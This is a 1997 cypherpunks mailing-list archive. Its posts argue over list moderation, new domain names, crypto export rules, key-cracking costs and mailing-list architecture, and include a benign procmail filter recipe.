[... using other's pass/zap lists as reputation markers...]
It's a good idea in theory, but would put a lot of load on the server.
For every message * every list subscriber, it has to _at_least_
look up the pass/zap criteria, and possibly do some number-
crunching based on the whole database of pass/zap lists, and keep
track of how long each message has been sitting in the queue
and its ratings by other people.

Also, Mallet could skew the reputations by subscribing with a dozen other
addresses (which M. created just to get the extra "votes"), decide
to have all of them "zap" Alice, and then Bob might never see
Alice's intelligent and thoughtful messages.  (Presumably, Mallet
keeps the bogus addresses subscribed, just dumping all mail into the
bitbucket; any user who leaves the list shouldn't have any weight
in the calculations any longer.)

This also doesn't even address anonymous remailers; Chuck and Dave
might both use the same remailer, even though Chuck only posts
good, meaningful messages (in whatever context) and Dave only
posts flaming ASCII art :)

dave (who doesn't post flaming ascii art, honest)
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 7 Feb 1997 16:56:58 -0800 (PST)
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: Metzger, Denninger square off
Message-ID: <199702080056.QAA05207@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:24 PM 2/7/97 -0500, you wrote:

>[Forwarded from Wired news. Let's cut to the chase: Which side is in the
>right? Who can tell me, in plain and simple language, who is fighting for
>individual freedom and property rights, and who is not?]
Hee... I think they're both just after money.

>   5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc
>   Committee (IAHC) to expand the number of Internet top-level domain
>   names is stirring opposition among alternative domain name providers.
Well, of course. AlterNIC does charge a few bucks for registering in
some of their TLDs.  I'm not sure about the other alternative-name
servers, but somehow I doubt it's a charity program.  And of course
we all know about InterNIC's cash cow...

[the proposed new TLDs]
.firm  
.store  Somehow, these two look rather similar to me.

.web    Actually a good idea :) A lot of the .com congestion is
        from companies that are virtually-hosted for the sole
        purpose of running a Web site with the www. prefix.

.arts   
.rec
.info   How many of these would fit into the .org (or even .us) domains?

.nom    Nah. Just not classy enough.  Now, a .nym TLD... :-)

>   They also think the new domain names will "fragment" the
>   Internet, leaving some users unable to communicate with others, if a
>   server does not recognize the name request.
How so?  AlterNIC et al. aren't exactly globally recognized anyway.
If we're going to have more TLDs, it's at least less "bad" to have them
coming from the place where names have been coming from anyway (InterNIC).
No matter what, it'll be a long time before _any_ new TLDs are
universally recognized, just because somewhere, someone's sysadmin
is asleep at the wheel.  (Probably at my ISP :)

dave
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@far.toad.com>
Date: Fri, 7 Feb 1997 19:55:52 -0800 (PST)
To: jeremey@veriweb.com
Subject: Re: NETLINK_IPSEC
Message-ID: <199702080355.TAA08275@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


  The #define you are looking for is in:
	/usr/src/linux/include/net/ip_forward.h
in my 2.0.25 source tree.  I sugjest that you upgrate to the current
2.0.XX kernel (I have used 2..0.28 with the ipsec-0.4 distrabution).

		||ugh Daniel
		Linux FreeSWAN Project
		hugh@toad.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 7 Feb 1997 16:56:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Unix Network Monitor...
Message-ID: <199702080056.QAA05147@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For those, who might be interested...

== Forwarded Message Follows =========================================

Subject: SOFT> The Big Brother Unix Network Monitor

Date: Wed, 5 Feb 1997 13:26:51 -0600
From: sean@iti.qc.ca

http://www.iti.qc.ca/iti/users/sean/bb-dnld/

Big Brother is a free web-based Unix network monitoring tool.  It watches
disk space, CPU loads, important processes, Web servers, and connectivity
and can page you if something really horrible happens.  Free. Includes all
source code.  Version 1.03

-----BEGIN PGP SIGNATURE-----
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-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 7 Feb 1997 16:56:51 -0800 (PST)
To: cypherpunks <attila@primenet.com>
Subject: Re: faulty moderation software: duplicate messages
Message-ID: <199702080056.QAA05201@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

All messages with "Sender: owner-cypherpunks-unedited@toad.com" are received
from the flames list.  The difference between the unedited and moderated lists
is that the moderated list changes the message ID, appending toad.com, and
deletes all received headers before "majordom@localhost.*by toad.com".  None
of the messages are being doubled; this is just the result of buggy software

Here's the recipe I use to filter out the three separate lists:

:0
* ^Sender: owner-cypherpunks.*@toad.com
{
	:0
	* ^Sender: owner-cypherpunks-unedited@toad.com
	flames

	:0
	* -1^1 ^Received:
	* 3^1  ^Received:.*from majordom@localhost.*by toad.com
	* ^Message-Id:.*toad.com
	in.cpunks

	:0
	unedited
}

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Charset: noconv

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 7 Feb 1997 11:41:18 -0800 (PST)
To: cypherpunks <tcmay@got.net>
Subject: faulty moderation software: duplicate messages
Message-ID: <199702071941.LAA29273@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    Virtually all list postings to the cypherpunks main list are 
    doubled; the first, which is a standard pass through with the 
    message ID of the sender, the second with the message ID of 
    toad.com.

    Obviously, the first is destined for the unedited list --which did 
    _not_ receive the message. The second has been re-IDd, which I 
    presume is your censorhip mark.

    I happen to subscribe to all three lists, even though
        
        main + flames == unedited

    is supposedly the intention, it is not. In order to divide the
    output stream from toad.com, sorting on "Sender: " is the only
    reasonable differentation (when toad's filters are working):

        Sender: owner-cypherpunks@toad.com
        Sender: owner-cypherpunks-flames@toad.com
        Sender: owner-cypherpunks-unedited@toad.com
        Sender: owner-coderpunks@toad.com

    in the case cited below, the only differentation between the 
    destinations is that the censored message has a "Message-ID: "
    from toad.com, while the one intended for unedited has a 
    "Message-ID: " not from toad.com.  was either of these 
    destinated from flames? --the main list with duplicated messages
    has contained any number of messages, including ones from the
    ASCII art series which should have gone to flames.

    so, why is the pass through message not being reliably re-headered 
    at toad.com to mark "Sender: owner-cypherpunks-unedited@toad.com"
    --but if it is, why is unedited receiving a duplicate --obviously
    the duplicate should have gone to flames. 

    BOTTOM LINE: your software is inadequate.  my neighbors' kids write 
    better filters than you have installed.


+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id EAA05103
+	for <attila@primenet.com>; Fri, 7 Feb 1997 04:24:48 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+DAA20391; Fri, 7 Feb 1997 03:21:24 -0800 (PST) Received: from
+hermes.ex.ac.uk (hermes.ex.ac.uk [194.83.11.25]) by toad.com
+(8.7.5/8.7.3) with SMTP id DAA20386; Fri, 7 Feb 1997 03:21:20 -0800
+(PST) Received: from aba@p28-dove-gui.tch.virgin.net [194.168.60.88]
+by hermes via ESMTP (LAA22615); Fri, 7 Feb 1997 11:21:06 GMT Received:
+(from aba@localhost) by server.test.net (8.6.12/8.6.12) id LAA00460;
+Fri, 7 Feb 1997 11:15:30 GMT Date: Fri, 7 Feb 1997 11:15:30 GMT
+Message-Id: <199702071115.LAA00460@server.test.net>
+From: Adam Back <aba@dcs.ex.ac.uk>
+To: mark@infolawalert.com
+Cc: cypherpunks@toad.com, mclow@owl.csusm.edu
+In-reply-to: <199702052256.OAA06322@toad.com> (message from Mark
+    Voorhees on Wed, 05 Feb 97 17:05:51 -0400)
+Subject: Re: Deloitte-Touche?
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: 5456a9a45ccaf4617ae176a63b26efb4

+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id JAA26045;
+	Fri, 7 Feb 1997 09:00:01 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+HAA24892; Fri, 7 Feb 1997 07:12:54 -0800 (PST) Message-Id:
+   <199702071512.HAA24892@toad.com>
+Date: Fri, 7 Feb 1997 11:15:30 GMT
+From: Adam Back <aba@dcs.ex.ac.uk>
+To: mark@infolawalert.com
+Cc: cypherpunks@toad.com, mclow@owl.csusm.edu
+Subject: Re: Deloitte-Touche?
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: 83079c59aea2b28dc5ded2dc73c5219a


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Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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=v3sl
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Remailer Administrator <mix-admin@nym.alias.net>
Date: Fri, 7 Feb 1997 11:40:56 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <199702071940.LAA29231@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> Who attacked the network and for what reason?

Well, as best I can tell I've gotten caught in the crossfire of a
spam/"anti-spam" spam war.  People are forging articles through
anonymous remailers to solicit spam to non-spamming customers of
"spam-friendly" ISPs, in the hopes of driving those customers away.
In other words, a lot of articles are being posted to groups like
alt.make.money.fast with headers like:

 From: customer@isp.under.attack (My^ISP^spams^I^should^switch)

Then the spam bots collect the addresses, and send lots of mail like

 To: customer@isp.under.attack (My^ISP^spams^I^should^switch)
 Subject: Great opportunity!!!

 My^ISP^spams^I^should^switch,

 I saw your post the other day, and have an oportunity for you that's
 so good you can't miss it...

It would be amusing if it weren't causing me hassles.  Ultimately,
however, the person doing this is clearly trying to get ISPs to set
more restrictive policies about what mail/news customers can send,
while knocking off a few anonymous remailers and mail2news gateways in
the process.

> Well, just who is cutting you off and for what reason?
> And what is their telephone number?

At issue here are a number of complicated high-level administrative
issues.  It's not just that someone is trying to pull the plug on me.
I've been asked by someone who is not the one getting the phone calls
or exerting anti-mail2news pressure if I would stop using MIT news
servers.  The reason is that that person needs to maintain good
relations with the people who are being harassed over the fogery.

I don't really want to go into details.  The point is that this
situation is a lot more subtle than whether the pro-mail2news people
can "out-harrass" the people complaining about forgeries.  Therefore,
I would sincerely appreciate it if you did not try to make any phone
calls or do anything to use up any more of these people's time.  I
fully intend to keep mail2news running, and am just trying to get more
news servers (after having lost one) to maintain reliability and
strengthen my position.

> Just what is your definition of "abuse?"

This got answered in a separate message.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roy M. Silvernail" <roy@sendai.scytale.com>
Date: Fri, 7 Feb 1997 20:55:53 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Metzger, Denninger square off
Message-ID: <199702080455.UAA09532@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, ericm@lne.com writes:

> Damaged Justice writes:

>>    administration about this." Barring that, Denninger will lobby
>>    Internet service providers around the country, asking them not to
>>    recognize the new GTLDs. "There is no reason to support it. We will do
>>    everything in our power to convince ISPs not to go along," he says.

> If I didn't already think that Karl was an idiot, I'd sure think so after
> reading this.

Concur.  When I went after my domain name last year, I was effectively
forced into taking a .com, which was the _last_ TLD I wanted.  (first
choice was .net, but that's supposedly now only given to ISPs)  I'd
happily accept scytale.nom, especially since it's doubly cryptic.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvvDqBvikii9febJAQE23AQAle+xfNgFCof8CjIDD1VxKv62TbHz5itj
7z2aAPaOD9IT812heFSKn+wYteETpWKWy6iGI/cKyR4siEtqJq2IiqaEs6bjSkIL
2C2ErK0FaKmnW14rUNX2XdSGHlqBGfh3rkjKM5UrHd+PBakNQKIIByPvTxn/Stsl
/XzWZBZyAG0=
=qAs2
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>
Date: Fri, 7 Feb 1997 16:56:55 -0800 (PST)
Subject: Ken Bass (counsel for Phil Karn) Interviewed on "Real Time" Monday
Message-ID: <199702080056.QAA05202@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Program Announcement: 

	Ken Bass (counsel for Phil Karn)
	interviewed live on "Real Time"
***

*** Monday, Jan. 27  ***
*** 9:00 PM ET       ***

Ken Bass is a partner in the firm of Venable, Baetjer, Howard & Civiletti,
LLP, and is the head of that firm's Appellate Practice Group.  Recently
Venable served as counsel to Phil Karn during his dispute with the
Department of State concerning export of a diskette containing the source
code for cryptographic algorithms published in the book _Applied_
_Cryptography_, having already received permission to export the book.

For the past 20 years Bass has practiced law in the Washington, D.C. 
metropolitan area, concentrating in civil litigation and appellate
advocacy. From 1977 until 1981 he left private practice to serve as the
first Counsel for Intelligence Policy at the Department of Justice. In
that position he advised the Attorney General and the White House on the
legal aspects of a variety of intelligence and national security matters. 

He also has served as a Special Master in a FOIA litigation in the
United States District Court for the District of Columbia to review code
word classified files concerning the Iran hostage rescue mission for Judge
Louis Oberdorfer. 

Call-in questions will be taken during the show at (301) 847-6571. 

****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://isptv.digex.net/members.html. 

See URL http://isptv.digex.net for more information about the ISP-TV
Network

To get email about future programming on ISP-TV, email the word
"subscribe" to isptv-prog-request@isptv.digex.net. 

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 7 Feb 1997 11:40:38 -0800 (PST)
To: cypherpunks <antimod@nym.alias.net>
Subject: Re: Which list am I on?
Message-ID: <199702071940.LAA29223@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    antimod (nym):

    no way to tell what list your receiving from; the software Sandy 
    and John installed to facilitate their un-American activities is 
    hosed.  in most cases it fails to apply the correct sender name,
    defaulting to the main, supposedly censored list.

        -attila

on or about 970207:0930 Against Moderation <antimod@nym.alias.net> said:

+I thought I was on the cypherpunks edited list.  However, I appear to
+have seen some of the messages that Tim says got lost.  Moreover, I
+keep getting ASCII art messages flaming someone with the initials DLV
+(though I haven't seen any more of the TCM flames [I haven't looked too
+hard, either]).  My mail headers have:

+>From cypherpunks-errors@toad.com  <date>
+>Sender: owner-cypherpunks@toad.com

+Now I'm really confused.  Which list am I on?


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMvt0Tb04kQrCC2kFAQHU3wP+IJE5n2Ypp6WLgxIHX1u0YfFah6fNP+Pz
UmToaW0C+mVZLM9S7VpBjwhiyqFCWWpZMbrqAnpkU9/yGCnHnhfjZ1P8I9SZZc0n
FmcomIS5BwcDC+Zd+5t4YeOOhqHZPDlqKMsZ/UuKfOeQainfedlvTmNJI2fIqTsy
t9jLSuDKWEE=
=s+Wc
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Feb 1997 19:56:31 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
Message-ID: <199702080356.TAA08304@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 10:07 PM +0000 2/7/97, Against Moderation wrote:
> >Okay, I went through my old mail, and I'm fairly sure this is the
> >message.  I'm convinced it never went to the flames list, and now that
> >I've found out I'm on the -unedited list after all, I think it
> >probably didn't go to the regular cypherpunks list either.  Can people
> >on the various lists confirm this for me?

> >A lot of people out there are subscribing to the cypherpunks-flames
> >and cypherpunks lists thinking that they will see everything that gets
> >rejected (albeit with a substantial delay).  If this is not the case,
> >it should be made clear.  Otherwise, it's not moderation, but
> >dishonesty.

Normally I'd address just the list, but in this case I'm sure you'll
understand.  Check the archives of Sandy's moderation announcements,
and I believe you'll see where he claimed that although *all* messages
would make it to the -unedited list, he admitted that some of those
would not make it to either the -edited or -flames lists, due to the
anomalies of hand-editing.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sh.Hanabusa" <hanabusa@bnn-net.or.jp>
Date: Fri, 7 Feb 1997 19:56:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dear Cypherpunks /from NHK Clew
Message-ID: <199702080356.TAA08305@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Cypherpunks,

We are a film crew from NHK, Japanese Public Television (Japan's largest
TV network). As you may have all seen the announcement posting, we would
 like to attend tomorrow's CP physical meeting for filming.

We consider the "Crypto War" you are all fighting, not only a U.S domestic
issue. It is a historic process which would effect the basic order/system
of the global network society for the 21st century.

In the midst of the ongoing changes of the idea of how a nation, a corporation
and an individual ought to be, we would like to portray your assertions and
proposals through the discussions of tomorrow's CP meeting, demonstrations,
speeches and booings(just kidding..).

We assure you all that we will do our best not be of your distractions.
(I know you won't, but) I hope you don't show up with a tie and a three
piece suit just because you'll be on TV...  ;-)

We look forward to the usual (or perhaps more than ever) Cypherpunkish
meeting tomorrow!


   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
     Shuichiro Hanabusa (hanabusa@bnn-net.or.jp)
     Producer/Special Programs 
     NHK Enterprises 21 Inc. 
     Location: San Mateo/Carifornia
   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Feb 1997 20:27:42 -0800 (PST)
To: "Sh.Hanabusa" <hanabusa@bnn-net.or.jp>
Subject: Re: Dear Cypherpunks /from NHK Clew
Message-ID: <199702080427.UAA08852@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm sorry I can't drive the 500 miles to the meeting, but in Los
Angeles, the USA's #2 city, there are NO meetings.  Sad but true.
People in Los Angeles just don't comply with censorship as well
as those in the Bay Area, apparently.

Anyway, please don't base the whole story on what goes on at the
meeting, since the people who show up at the meeting are the ones
who most agree with John and Sandy.  Do you know what I mean?

There's an assumption in the USA, which even the cypherpunks share,
that the rogue elements of the government are to be considered
"innocent until proven guilty", even after the fact when they are
caught and never prosecuted.  Someday, when we have enough research
data on this current series of events, we will be able to expose the
money trail which demonstrates the motivations of the "list" owners.
In the meantime, I trust you'll not be taken in by the sweet-talk
you'll get in San Francisco.

Sh.Hanabusa wrote:
> We are a film crew from NHK, Japanese Public Television (Japan's largest
> TV network). As you may have all seen the announcement posting, we would
>  like to attend tomorrow's CP physical meeting for filming.
> We consider the "Crypto War" you are all fighting, not only a U.S domestic
> issue. It is a historic process which would effect the basic order/system
> of the global network society for the 21st century.
> In the midst of the ongoing changes of the idea of how a nation, a corporation
> and an individual ought to be, we would like to portray your assertions and
> proposals through the discussions of tomorrow's CP meeting, demonstrations,
> speeches and booings(just kidding..).
> We assure you all that we will do our best not be of your distractions.
> (I know you won't, but) I hope you don't show up with a tie and a three
> piece suit just because you'll be on TV...  ;-)
> We look forward to the usual (or perhaps more than ever) Cypherpunkish
> meeting tomorrow!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 7 Feb 1997 19:56:34 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Sandy suppresses truth about his moderation policy
Message-ID: <199702080356.TAA08306@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Below are some interesting facts implying that:

1) Sandy uses a bot to reject articles of people he does not like
2) When I exposed him with an article showing all Received: dates, 
he
	a) rejected the article exposing him
and
	b) changed his moderation software so that Received: headers
	   for the cypherpunks-flames do not show the times when 
	   messages came in

3) Sandy apologized to Tim May for rejecting one of Vulis's articles, and
yet he rejects my message quoting same article. I question how genuine were
his apologies to Tim.

At this point, I have enough data to conclude that 

	* Sandy is not a good moderator
	* Sandy does not have the interests of his readership in his mind
	* Sandy should not be trusted

At this point, two events are likely to happen: either moderation ceases,
or Sandy and John will pull the plug on the unedited and flames list.

	- Igor.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Note that there are no more incoming Received: lines in the message
that went to flames, BUT yesterday the received lines were there.
Note also that my address (From: line) has been rewritten in such
a way that my name disappeared. I believe that the latter is due to
a sloppy perl script that got screwed up by presence of "@" character
in my name.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
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Message-Id: <199702071511.HAA24873@toad.com>
Date: Fri, 7 Feb 1997 01:34:36 -0600 (CST)
From: ichudov@algebra.com
To: Cypherpunks <cypherpunks@toad.com>, tcmay@got.net
Subject: Re: anonymous remailers
Sender: geek@algebra.com
Precedence: bulk
Status: RO

[I am sending a copy of my article to Tim just to make sure]

Sandy Sandfort wrote:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Thu, 6 Feb 1997, Timothy C. May wrote:
> 
> > Why was this message (attached below) sent to the "Flames" list? (*) It
> > contains an assertion that the remailer operators are colluding to reveal
> > identities, and this is surely a fit topic for discussion.
> > 
> > (* I have temporarily subscribed to the Flames list to see just what it is
> > being filtered or censored by Sandy. I received this message, and it had
> > the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
> > is a "Flames" message. It would help, by the way, if messages were more
> > clearly labelled by the Moderator as to which bucket he placed them in.)
> 
> Currently, there are three lists.  It looks as though the message
> in question appeared on the Unedited list.  This is NOT the same
> as the Flames list.  
>  
> I don't recall where I sorted that particular post to after I
> read it on the Unedited list.  If it went to the "wrong" list,
> my apologies to the author.  As I indicated before, I don't think

I am attaching Vulis's posting below, so that the mistake could be
corrected.

Judging by the dates in the headers, it went to flames list in
3 seconds after arrival to toad.com.

That makes me think that somehow it got routed there without human
involvement.

> a 100% solution is possible, but I think I'm running in the high
> 90s under the criteria I enunciated.  Not perfection, but a 
> definite improvement over the prior condition.

I see three problems with the current state of the list: 

	1) There is no charter and no criteria that I am aware of, so 
	   your 90% statement is meaningless
	2) Moderation policy has not been set (or voted upon) by the readers,
	   therefore it was not optimised to serve the readers
	3) Crypto-relevant posts, not containing any flames, get
	   rejected.

>From cypherpunks-errors@toad.com  Thu Feb  6 22:20:35 1997
Return-Path: <cypherpunks-errors@toad.com>
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	for cypherpunks@toad.com
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <iJkq2D46w165w@bwalk.dm.com>
Date: Thu, 06 Feb 97 22:22:05 EST
In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com>
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com
Precedence: bulk
Status: RO

c.musselman@internetmci.com (Charley Musselman) writes:

> C'punks --
> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

Even if the feds are not directtly involved, the so-called "cypher punk"
remailers are run by people who should not be trusted.  Check out their
remailer-operators list: it's full of announcements that some specific
person posted something via the remailer that the operator didn't like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 19:57:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: BXA Encryption Regs
Message-ID: <199702080357.TAA08327@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Federal Register: February 7, 1997, Page 5797-5798:

Bureau of Export Administration
 
Sensors and Instrumentation Technical Advisory Committee; 
Partially Closed Meeting

A meeting will be held March 4, 1997, 9 a.m., in the Herbert C. Hoover 
Building, Room 1617M-2, 14th Street between Constitution and 
Pennsylvania Avenues, N.W., Washington, DC.

Agenda, General Session

    1. Opening remarks by the Chairman.
    2. Report on the status of The Wassenaar Arrangement.
    3. Discussion on the Encryption Reg.
    4. Presentation of papers or comments by the public.

----------

A bit more on this in the full notice at: 

   http://jya.com/bxa020797.txt

----------

Note: February 13 is the cutoff for comments on EAR for EI:

   http://jya.com/bxa123096.txt







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 7 Feb 1997 20:41:09 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702080441.UAA09218@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 AM 2/7/97 -0500, Vin McLellan wrote:
>	Now, an international institution which buys and bets the bank upon
>US-exportable (40-bit) cryptography probably deserves what it has bought:
> [...] even 56-bit keys -- whatever the algorithm! -- offer only "minimal"
security.
>(What Goldberg did in hours, many could do in a days or weeks with much
>less equipment.  

You don't bet the bank on 40-bit crypto, unless you're, ummm, accepting 
credit cards over wimp-configured sessions of SSL.  (You, as merchant,
may not lose if there's a forgery, and your customer's loss may be limited
to $50,
but the bank's loss isn't limited except by how fast they can block thieves.)

While banks get Extra Slack on crypto exports, and can use 56-bit DES,
they've got more serious adversaries - building a $1M machine to win a $1000
contest is a bit expensive for the average grad student, but it's a 
perfectly reasonable investment if you're planning to rob banks of
millions of dollars with it, especially if you think you can either
siphon the money off slowly while hitting a lot of banks or else
make a really big haul all at once.  

Banks aren't the only kind of company with big money floating around;
stockbrokers, commodities traders, purchasing departments of big companies
that might not notice that they're buying a few percent more parts,
and all sorts of other large companies are targets for crypto-cracking
thieves.
Because well-funded thieves can do this kind of financial damage,
we have a legitimate-sounding spin on "Federal law enforcement's job includes 
preventing large-scale theft, and they're letting their political agenda
get in the way of doing their job.  Sure, 56-bit keys are harder to crack
than 40,
but well-funded crackers could use the same techniques Ian did."

Either method of theft requires being non-stupid enough not to get caught
afterwards 
(like the $(24?)M computerized bank job last year), and having your
"partners" 
not rip you off; a big heist also risks detection by tracking chip
purchases, and
provoking the Feds into banning "ASIC Laundering" and criminalizing 
illegal possesion of field-programmable gate arrays and such paranoid
silliness.

..>> the same Strassmann 
Yeah, him :-)

>	(It was a usefully overheated hook for some article on compsec, but
>I don't think I ever used it.  Reminded me too much of warnings that
>someone was bound to someday taint the city water reservoir with LSD;-)
But we _were_ planning to enhance the water that way, back in the 60s! :-)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 13 Feb 1997 11:42:38 -0800 (PST)
To: ichudov@algebra.com
Subject: distributed mailing list architecture
Message-ID: <199702131942.LAA09523@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
> I'd suggest a simplier solution: to connect each server with a couple,
> or maybe three, other servers. This scheme is rather robust, does not
> consume too much CPU time and bandwidth, and is easy to implement.

I'm not sure what the architecture you are suggesting is, but this is
what I suggest as the simplest to set up.

Have one main majordomo.

Have many mail-exploders.

You subscribe to the main majordomo request address, and it forwards
your subscription request to a random mail-exploder.

You unsubscribe to the main majordomo request address, and it forwards
your subscription to all the mail-exploders request addresses
(unsubscribe traffic is low anyway, keeping track of who is subscribed
where at the main major domo doesn't seem worth it).

Each person who wishes to run an exploder is subscribed (manually) to
the main majordomo.

You submit articles to the main majordomo, and it sends copies of the
articles to it's subscribers (the mail-exploders).

The mail-exploders send mail to the address on their subscriber lists.

(John Gilmore suggested this architecture, as a simpler alternative).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 13 Feb 1997 11:43:14 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: How to make majordomo request confirmations of subscriptions?
Message-ID: <199702131943.LAA09559@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com>
> I would like to set up my majordomo to request subscription
> confirmations from users, by sending them a cookie. Looking at the
> majordomo config files, I have not found such option.
> 
> Ideally I would like to have a system that a) requires the
> new users confirm new subscriptions and b) once in a while
> asks users to confirm their existing subscriptions.
> 
> Is there any way to do it?

